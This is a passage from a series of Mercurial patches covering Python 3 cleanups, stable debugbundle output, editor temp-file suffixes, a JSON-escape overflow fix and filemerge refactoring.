         user = random.choice(words) + '@' + random.choice(words)
         mc = context.memctx(repo, pl, makeline(minimum=2),
-                            sorted(changes.iterkeys()),
+                            sorted(changes),
                             filectxfn, user, '%d %d' % (date, pick(tzoffset)))
         newnode = mc.commit()
         heads.add(repo.changelog.rev(newnode))
diff --git a/mercurial/filelog.py b/mercurial/filelog.py
--- a/mercurial/filelog.py
+++ b/mercurial/filelog.py
@@ -31,7 +31,7 @@
     return meta, (s + 2)
 
 def packmeta(meta, text):
-    keys = sorted(meta.iterkeys())
+    keys = sorted(meta)
     metatext = "".join("%s: %s\n" % (k, meta[k]) for k in keys)
     return "\1\n%s\1\n%s" % (metatext, text)
 
diff --git a/tests/test-hgweb-auth.py b/tests/test-hgweb-auth.py
--- a/tests/test-hgweb-auth.py
+++ b/tests/test-hgweb-auth.py
@@ -25,7 +25,7 @@
 
 def dumpdict(dict):
     return '{' + ', '.join(['%s: %s' % (k, dict[k])
-                            for k in sorted(dict.iterkeys())]) + '}'
+                            for k in sorted(dict)]) + '}'
 
 def test(auth, urls=None):
     print('CFG:', dumpdict(auth))
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503447908 14400
#      Tue Aug 22 20:25:08 2017 -0400
# Node ID 19b8eee8b4ec4e1e1398f074d8c9b7fbefe0c2bc
# Parent  ba479850c9c79379743451faa28700afb581ea7a
python3: whitelist another 5 passing tests found with the ratchet script

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -1,3 +1,4 @@
+test-addremove.t
 test-ancestor.py
 test-backwards-remove.t
 test-branch-tag-confict.t
@@ -10,6 +11,9 @@
 test-check-shbang.t
 test-contrib-check-code.t
 test-contrib-check-commit.t
+test-debugrename.t
+test-diff-copy-depth.t
+test-diff-hashes.t
 test-diff-issue2761.t
 test-diff-newlines.t
 test-diff-reverse.t
@@ -33,6 +37,7 @@
 test-merge-default.t
 test-merge2.t
 test-merge5.t
+test-permissions.t
 test-push-checkheads-pruned-B1.t
 test-push-checkheads-pruned-B6.t
 test-push-checkheads-pruned-B7.t
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503457895 14400
#      Tue Aug 22 23:11:35 2017 -0400
# Node ID 626a28f30dbd5fe7e2181921f6f367eafc360f7a
# Parent  19b8eee8b4ec4e1e1398f074d8c9b7fbefe0c2bc
debugcommands: stabilize output of debugbundle by having a custom repr

We handle all dict-like things the same, and don't worry about it
actually being a repr.

diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import collections
 import difflib
 import errno
 import operator
@@ -323,16 +324,22 @@
             ui.write(indent_string)
             ui.write('%s %s\n' % (hex(head), phases.phasenames[phase]))
 
+def _quasirepr(thing):
+    if isinstance(thing, (dict, util.sortdict, collections.OrderedDict)):
+        return '{%s}' % (
+            b', '.join(b'%s: %s' % (k, thing[k]) for k in sorted(thing)))
+    return pycompat.bytestr(repr(thing))
+
 def _debugbundle2(ui, gen, all=None, **opts):
     """lists the contents of a bundle2"""
     if not isinstance(gen, bundle2.unbundle20):
         raise error.Abort(_('not a bundle2 file'))
-    ui.write(('Stream params: %s\n' % repr(gen.params)))
+    ui.write(('Stream params: %s\n' % _quasirepr(gen.params)))
     parttypes = opts.get(r'part_type', [])
     for part in gen.iterparts():
         if parttypes and part.type not in parttypes:
             continue
-        ui.write('%s -- %r\n' % (part.type, repr(part.params)))
+        ui.write('%s -- %s\n' % (part.type, _quasirepr(part.params)))
         if part.type == 'changegroup':
             version = part.params.get('version', '01')
             cg = changegroup.getunbundler(version, part, 'UN')
diff --git a/tests/test-bundle-phases.t b/tests/test-bundle-phases.t
--- a/tests/test-bundle-phases.t
+++ b/tests/test-bundle-phases.t
@@ -37,12 +37,12 @@
   $ hg bundle --base B -r E bundle
   3 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '3'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 3, targetphase: 2, version: 02}
       26805aba1e600a82e93661149f2313866a221a7b
       f585351a92f85104bff7c284233c338b10eb1df7
       9bc730a19041f9ec7cb33c626e811aa233efb18c
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       26805aba1e600a82e93661149f2313866a221a7b draft
   $ hg strip --no-backup C
   $ hg unbundle -q bundle
@@ -226,14 +226,14 @@
   $ hg bundle -a bundle
   5 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '5'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 5, targetphase: 2, version: 02}
       426bada5c67598ca65036d57d9e4b64b0c1ce7a0
       112478962961147124edd43549aedd1a335e44bf
       dc0947a82db884575bb76ea10ac97b08536bfa03
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
       03ca77807e919db8807c3749086dc36fb478cac0
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       dc0947a82db884575bb76ea10ac97b08536bfa03 public
       03ca77807e919db8807c3749086dc36fb478cac0 draft
   $ hg strip --no-backup A
@@ -254,32 +254,32 @@
   $ hg bundle --base 'A + C' -r D bundle
   2 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, targetphase: 2, version: 02}
       112478962961147124edd43549aedd1a335e44bf
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
   $ rm bundle
 
   $ hg bundle --base A -r D bundle
   3 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '3'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 3, targetphase: 2, version: 02}
       112478962961147124edd43549aedd1a335e44bf
       dc0947a82db884575bb76ea10ac97b08536bfa03
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       dc0947a82db884575bb76ea10ac97b08536bfa03 public
   $ rm bundle
 
   $ hg bundle --base 'B + C' -r 'D + E' bundle
   2 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, targetphase: 2, version: 02}
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
       03ca77807e919db8807c3749086dc36fb478cac0
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       03ca77807e919db8807c3749086dc36fb478cac0 draft
   $ rm bundle
diff --git a/tests/test-bundle-type.t b/tests/test-bundle-type.t
--- a/tests/test-bundle-type.t
+++ b/tests/test-bundle-type.t
@@ -73,7 +73,7 @@
   1 changesets found
   HG20\x00\x00 (esc)
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   none-v2
   
@@ -81,8 +81,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   bzip2-v2
   
@@ -90,8 +90,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'GZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: GZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   gzip-v2
   
@@ -100,7 +100,7 @@
   1 changesets found
   HG20\x00\x00 (esc)
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   none-v2
   
@@ -108,8 +108,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   bzip2-v2
   
@@ -167,8 +167,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'ZS')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: ZS}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   zstd-v2
   
@@ -176,8 +176,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'ZS')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: ZS}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   zstd-v2
   
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -990,7 +990,7 @@
 
   $ hg debugbundle ../rev.hg2
   Stream params: {}
-  changegroup -- 'sortdict()'
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
@@ -1118,8 +1118,8 @@
   0360: db fb 6a 33 df c1 7d 99 cf ef d4 d5 6d da 77 7c |..j3..}.....m.w||
   0370: 3b 19 fd af c5 3f f1 60 c3 17                   |;....?.`..|
   $ hg debugbundle ../rev.hg2.bz
-  Stream params: sortdict([('Compression', 'GZ')])
-  changegroup -- 'sortdict()'
+  Stream params: {Compression: GZ}
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
@@ -1205,8 +1205,8 @@
   0420: 8b 43 88 57 9c 01 f5 61 b5 e1 27 41 7e af 83 fe |.C.W...a..'A~...|
   0430: 2e e4 8a 70 a1 21 46 96 30 7a                   |...p.!F.0z|
   $ hg debugbundle ../rev.hg2.bz
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- 'sortdict()'
+  Stream params: {Compression: BZ}
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
diff --git a/tests/test-debugbundle.t b/tests/test-debugbundle.t
--- a/tests/test-debugbundle.t
+++ b/tests/test-debugbundle.t
@@ -31,7 +31,7 @@
 
   $ hg debugbundle bundle2.hg
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  changegroup -- {nbchanges: 2, version: 02}
       0e067c57feba1a5694ca4844f05588bb1bf82342
       991a3460af53952d10ec8a295d3d2cc2e5fa9690
 
@@ -56,7 +56,7 @@
 
   $ hg debugbundle --all bundle2.hg
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  changegroup -- {nbchanges: 2, version: 02}
       format: id, p1, p2, cset, delta base, len(delta)
   
       changelog
diff --git a/tests/test-generaldelta.t b/tests/test-generaldelta.t
--- a/tests/test-generaldelta.t
+++ b/tests/test-generaldelta.t
@@ -154,10 +154,10 @@
   0 files updated, 0 files merged, 5 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/aggressive/.hg/strip-backup/1c5d4dc9a8b8-6c68e60c-backup.hg (glob)
   $ hg debugbundle .hg/strip-backup/*
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       1c5d4dc9a8b8d6e1750966d343e94db665e7a1e9
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       1c5d4dc9a8b8d6e1750966d343e94db665e7a1e9 draft
 
   $ cd ..
diff --git a/tests/test-getbundle.t b/tests/test-getbundle.t
--- a/tests/test-getbundle.t
+++ b/tests/test-getbundle.t
@@ -170,7 +170,7 @@
   $ hg debuggetbundle repo bundle -t bundle2
   $ hg debugbundle bundle
   Stream params: {}
-  changegroup -- "sortdict([('version', '01')])"
+  changegroup -- {version: 01}
       7704483d56b2a7b5db54dcee7c62378ac629b348
       29a4d1f17bd3f0779ca0525bebb1cfb51067c738
       713346a995c363120712aed1aee7e04afd867638
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -90,14 +90,14 @@
   $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.stabilization.bundle-obsmarker=1
   1 changesets found
   $ hg debugbundle ../f89bcc95eba5.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       f89bcc95eba5174b1ccc3e33a82e84c96e8338ee
   $ hg debugbundle ../f89bcc95eba5-obs.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       f89bcc95eba5174b1ccc3e33a82e84c96e8338ee
-  obsmarkers -- 'sortdict()'
+  obsmarkers -- {}
       version: 1 (70 bytes)
       9d73aac1b2ed7d53835eaeec212ed41ea47da53a f89bcc95eba5174b1ccc3e33a82e84c96e8338ee 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
 
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1344,14 +1344,14 @@
   o  0:a78f55e5508c (draft) [ ] 0
   
   $ hg debugbundle .hg/strip-backup/e008cf283490-*-backup.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, version: 02}
       e008cf2834908e5d6b0f792a9d4b0e2272260fb8
       f27abbcc1f77fb409cf9160482fe619541e2d605
-  obsmarkers -- 'sortdict()'
+  obsmarkers -- {}
       version: 1 (70 bytes)
       f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       f27abbcc1f77fb409cf9160482fe619541e2d605 draft
 
   $ hg pull .hg/strip-backup/e008cf283490-*-backup.hg
@@ -1389,15 +1389,15 @@
   @  0:a78f55e5508c (draft) [tip ] 0
   
   $ hg debugbundle .hg/strip-backup/e016b03fd86f-*-backup.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, version: 02}
       e016b03fd86fcccc54817d120b90b751aaf367d6
       b0551702f918510f01ae838ab03a463054c67b46
-  obsmarkers -- 'sortdict()'
+  obsmarkers -- {}
       version: 1 (139 bytes)
       e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
       f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       b0551702f918510f01ae838ab03a463054c67b46 draft
 
   $ hg unbundle .hg/strip-backup/e016b03fd86f-*-backup.hg
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -1117,8 +1117,8 @@
   shelved as default
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg debugbundle .hg/shelved/*.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       45993d65fe9dc3c6d8764b9c3b07fa831ee7d92d
   $ cd ..
 
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -211,10 +211,10 @@
   summary:     b
   
   $ hg debugbundle .hg/strip-backup/*
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       264128213d290d868c54642d13aeaa3675551a78
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       264128213d290d868c54642d13aeaa3675551a78 draft
   $ hg pull .hg/strip-backup/*
   pulling from .hg/strip-backup/264128213d29-0b39d6bf-backup.hg
diff --git a/tests/test-tags.t b/tests/test-tags.t
--- a/tests/test-tags.t
+++ b/tests/test-tags.t
@@ -721,13 +721,13 @@
   $ hg -R tagsclient bundle --all ./test-cache-in-bundle-all-rev.hg
   4 changesets found
   $ hg debugbundle ./test-cache-in-bundle-all-rev.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '4')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 4, version: 02}
       96ee1d7354c4ad7372047672c36a1f561e3a6a4c
       c4dab0c2fd337eb9191f80c3024830a4889a8f34
       f63cc8fe54e4d326f8d692805d70e092f851ddb1
       40f0358cb314c824a5929ee527308d90e023bc10
-  hgtagsfnodes -- 'sortdict()'
+  hgtagsfnodes -- {}
 
 Check that local clone includes cache data
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503451303 14400
#      Tue Aug 22 21:21:43 2017 -0400
# Node ID b2eb0aa445cbe7cadc8b7691c6266908adfc5057
# Parent  626a28f30dbd5fe7e2181921f6f367eafc360f7a
revlog: use pycompat.bytestr() to reliably have a %s-able value

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1473,7 +1473,7 @@
             if revornode is None:
                 revornode = templatefilters.short(hex(node))
             raise RevlogError(_("integrity check failed on %s:%s")
-                % (self.indexfile, revornode))
+                % (self.indexfile, pycompat.bytestr(revornode)))
 
     def checkinlinesize(self, tr, fp=None):
         """Check if the revlog is too big for inline and convert if so.
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504110091 25200
#      Wed Aug 30 09:21:31 2017 -0700
# Node ID bfb38c5cebf4e13b4ce36ecda8369bac690915e8
# Parent  b2eb0aa445cbe7cadc8b7691c6266908adfc5057
revlog: move check for wdir from changelog to revlog

Yuya said he preferred this (to keep them in one place, I think).

Differential Revision: https://phab.mercurial-scm.org/D569

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -14,7 +14,6 @@
     bin,
     hex,
     nullid,
-    wdirid,
 )
 
 from . import (
@@ -536,9 +535,6 @@
         # overlay over the standard revlog._addrevision to track the new
         # revision on the transaction.
         rev = len(self)
-        if node == wdirid: # nullid is checked in super method
-            raise error.RevlogError(_("%s: attempt to add wdir revision") %
-                                    (self.indexfile))
         node = super(changelog, self)._addrevision(node, rawtext, transaction,
                                                    *args, **kwargs)
         revs = transaction.changes.get('revs')
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1697,6 +1697,10 @@
         if node == nullid:
             raise RevlogError(_("%s: attempt to add null revision") %
                               (self.indexfile))
+        if node == wdirid:
+            raise RevlogError(_("%s: attempt to add wdir revision") %
+                              (self.indexfile))
+
         btext = [rawtext]
         def buildtext():
             if btext[0] is not None:
# HG changeset patch
# User Michael Bolin <mbolin@fb.com>
# Date 1504124756 0
#      Wed Aug 30 20:25:56 2017 +0000
# Node ID 6e6452bc441d6fd2d8e691b93244d6f1becaae0b
# Parent  bfb38c5cebf4e13b4ce36ecda8369bac690915e8
editor: use an unambiguous path suffix for editor files

Changes the API of `ui.edit()` to take an optional `action` argument,
which is used when constructing the suffix of the temp file.
Previously, it was possible to set the suffix by specifying a `suffix` to the
optional `extra` dict that was passed to `ui.edit()`, but the goal is to
drop support for `extra.suffix` and make `action` a required argument.
To this end, `ui.edit()` now yields a `develwarn()` if `action` is not set
or if `extra.suffix` is set.

I updated all calls to `ui.edit()` I could find in `hg-crew` to specify the
appropriate `action`. This means that when creating a commit, instead
of the path to the editor file being something like:

`/tmp/hg-editor-XXXXXX.txt`

it is now something like:

`/tmp/hg-editor-XXXXXX.commit.hg.txt`

Some editors (such as Atom) make it possible to statically define a [TextMate]
grammar for files with a particular suffix. For example, because Git reliably
uses `.git/COMMIT_EDITMSG` and `.git/MERGE_MSG` as the paths for commit-type
messages, it is trivial to define a grammar that is applied when files of
either name are opened in Atom:

https://github.com/atom/language-git/blob/v0.19.1/grammars/git%20commit%20message.cson#L4-L5

Because Hg historically used a generic `.txt` suffix, it was much harder to
disambiguate whether a file was an arbitrary text file as opposed to one
created for the specific purpose of authoring an Hg commit message.

This also makes it easier to add special support for `histedit`, as it has its own
suffix that is distinct from a commit:

`/tmp/hg-histedit-XXXXXX.histedit.hg.txt`

Test Plan:
Added an integration test: `test-editor-filename.t`.

Manually tested: ran `hg ci --amend` for this change and saw that it
used `/tmp/hg-editor-ZZjcz0.commit.hg.txt` as the path instead of
`/tmp/hg-editor-ZZjcz0.txt` as the path.

Verified `make tests` passes.

Differential Revision: https://phab.mercurial-scm.org/D464

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -1370,7 +1370,7 @@
     rules += '\n\n'
     rules += editcomment
     rules = ui.edit(rules, ui.username(), {'prefix': 'histedit'},
-                    repopath=repo.path)
+                    repopath=repo.path, action='histedit')
 
     # Save edit rules in .hg/histedit-last-edit.txt in case
     # the user needs to ask for help after something
diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -308,7 +308,8 @@
     else:
         ui.write(_('\nWrite the introductory message for the '
                    'patch series.\n\n'))
-        body = ui.edit(defaultbody, sender, repopath=repo.path)
+        body = ui.edit(defaultbody, sender, repopath=repo.path,
+                       action='patchbombbody')
         # Save series description in case sendmail fails
         msgfile = repo.vfs('last-email.txt', 'wb')
         msgfile.write(body)
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -341,7 +341,7 @@
                              + crecordmod.patchhelptext
                              + fp.read())
                 reviewedpatch = ui.edit(patchtext, "",
-                                        extra={"suffix": ".diff"},
+                                        action="diff",
                                         repopath=repo.path)
                 fp.truncate(0)
                 fp.write(reviewedpatch)
@@ -3217,7 +3217,7 @@
 
     editortext = repo.ui.edit(committext, ctx.user(), ctx.extra(),
                               editform=editform, pending=pending,
-                              repopath=repo.path)
+                              repopath=repo.path, action='commit')
     text = editortext
 
     # strip away anything below this special string (used for editors that want
diff --git a/mercurial/crecord.py b/mercurial/crecord.py
--- a/mercurial/crecord.py
+++ b/mercurial/crecord.py
@@ -1563,8 +1563,7 @@
 
             # start the editor and wait for it to complete
             try:
-                patch = self.ui.edit(patch.getvalue(), "",
-                                     extra={"suffix": ".diff"})
+                patch = self.ui.edit(patch.getvalue(), "", action="diff")
             except error.Abort as exc:
                 self.errorstr = str(exc)
                 return None
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1346,20 +1346,31 @@
             self.write(*msg, **opts)
 
     def edit(self, text, user, extra=None, editform=None, pending=None,
-             repopath=None):
+             repopath=None, action=None):
+        if action is None:
+            self.develwarn('action is None but will soon be a required '
+                           'parameter to ui.edit()')
         extra_defaults = {
             'prefix': 'editor',
             'suffix': '.txt',
         }
         if extra is not None:
+            if extra.get('suffix') is not None:
+                self.develwarn('extra.suffix is not None but will soon be '
+                               'ignored by ui.edit()')
             extra_defaults.update(extra)
         extra = extra_defaults
 
+        if action:
+            suffix = '.%s.hg.txt' % action
+        else:
+            suffix = extra['suffix']
+
         rdir = None
         if self.configbool('experimental', 'editortmpinhg'):
             rdir = repopath
         (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
-                                      suffix=extra['suffix'],
+                                      suffix=suffix,
                                       dir=rdir)
         try:
             f = os.fdopen(fd, r'wb')
diff --git a/tests/test-editor-filename.t b/tests/test-editor-filename.t
new file mode 100644
--- /dev/null
+++ b/tests/test-editor-filename.t
@@ -0,0 +1,35 @@
+Test temp file used with an editor has the expected suffix.
+
+  $ hg init
+
+Create an editor that writes its arguments to stdout and set it to $HGEDITOR.
+
+  $ cat > editor.sh << EOF
+  > #!/bin/bash
+  > echo "\$@"
+  > exit 1
+  > EOF
+  $ chmod +x editor.sh
+  $ hg add editor.sh
+  $ HGEDITOR=$TESTTMP/editor.sh
+  $ export HGEDITOR
+
+Verify that the path for a commit editor has the expected suffix.
+
+  $ hg commit
+  *.commit.hg.txt (glob)
+  abort: edit failed: editor.sh exited with status 1
+  [255]
+
+Verify that the path for a histedit editor has the expected suffix.
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > histedit=
+  > EOF
+  $ hg commit --message 'At least one commit for histedit.'
+  $ hg histedit
+  *.histedit.hg.txt (glob)
+  abort: edit failed: editor.sh exited with status 1
+  [255]
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504184200 -32400
#      Thu Aug 31 21:56:40 2017 +0900
# Node ID e97be042fa1bda4314b34030c521b2486f6a45cc
# Parent  6e6452bc441d6fd2d8e691b93244d6f1becaae0b
encoding: check overflow while calculating size of JSON escape buffer

The minimum input size to exploit is ~682MB (= INT_MAX / len('\\u0000') * 2)
on 32bit system, which isn't easy to achieve using Python str in 2GB process
address space, but probably doable.

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -294,11 +294,21 @@
 				return -1;
 			}
 			esclen += jsonparanoidlentable[(unsigned char)c];
+			if (esclen < 0) {
+				PyErr_SetString(PyExc_MemoryError,
+						"overflow in jsonescapelen");
+				return -1;
+			}
 		}
 	} else {
 		for (i = 0; i < len; i++) {
 			char c = buf[i];
 			esclen += jsonlentable[(unsigned char)c];
+			if (esclen < 0) {
+				PyErr_SetString(PyExc_MemoryError,
+						"overflow in jsonescapelen");
+				return -1;
+			}
 		}
 	}
 
@@ -366,7 +376,7 @@
 	origlen = PyBytes_GET_SIZE(origstr);
 	esclen = jsonescapelen(origbuf, origlen, paranoid);
 	if (esclen < 0)
-		return NULL;  /* unsupported char found */
+		return NULL;  /* unsupported char found or overflow */
 	if (origlen == esclen) {
 		Py_INCREF(origstr);
 		return origstr;
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504202719 25200
#      Thu Aug 31 11:05:19 2017 -0700
# Node ID 52bd006b4f49b839d67b57a0fb50f11132a7b796
# Parent  e97be042fa1bda4314b34030c521b2486f6a45cc
filemerge: extract _maketemp and _makebackup

These functions will be modified by in-memory merge, so let's extract them first and add some comments.

This also shortens `_filemerge` a bit.

Differential Revision: https://phab.mercurial-scm.org/D388

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -586,6 +586,46 @@
         "o": " [%s]" % labels[1],
     }
 
+def _makebackup(repo, ui, fcd, premerge):
+    """Makes a backup of the local `fcd` file prior to merging.
+
+    In addition to preserving the user's pre-existing modifications to `fcd`
+    (if any), the backup is used to undo certain premerges, confirm whether a
+    merge changed anything, and determine what line endings the new file should
+    have.
+    """
+    if fcd.isabsent():
+        return None
+
+    a = repo.wjoin(fcd.path())
+    back = scmutil.origpath(ui, repo, a)
+    if premerge:
+        util.copyfile(a, back)
+    return back
+
+def _maketempfiles(repo, fcd, fco, fca):
+    """Writes out `fco` and `fca` as temporary files, so an external merge
+    tool may use them.
+
+    `fcd` is returned as-is, by convention, because it currently doubles as both
+    the local version and merge destination.
+    """
+    def temp(prefix, ctx):
+        fullbase, ext = os.path.splitext(ctx.path())
+        pre = "%s~%s." % (os.path.basename(fullbase), prefix)
+        (fd, name) = tempfile.mkstemp(prefix=pre, suffix=ext)
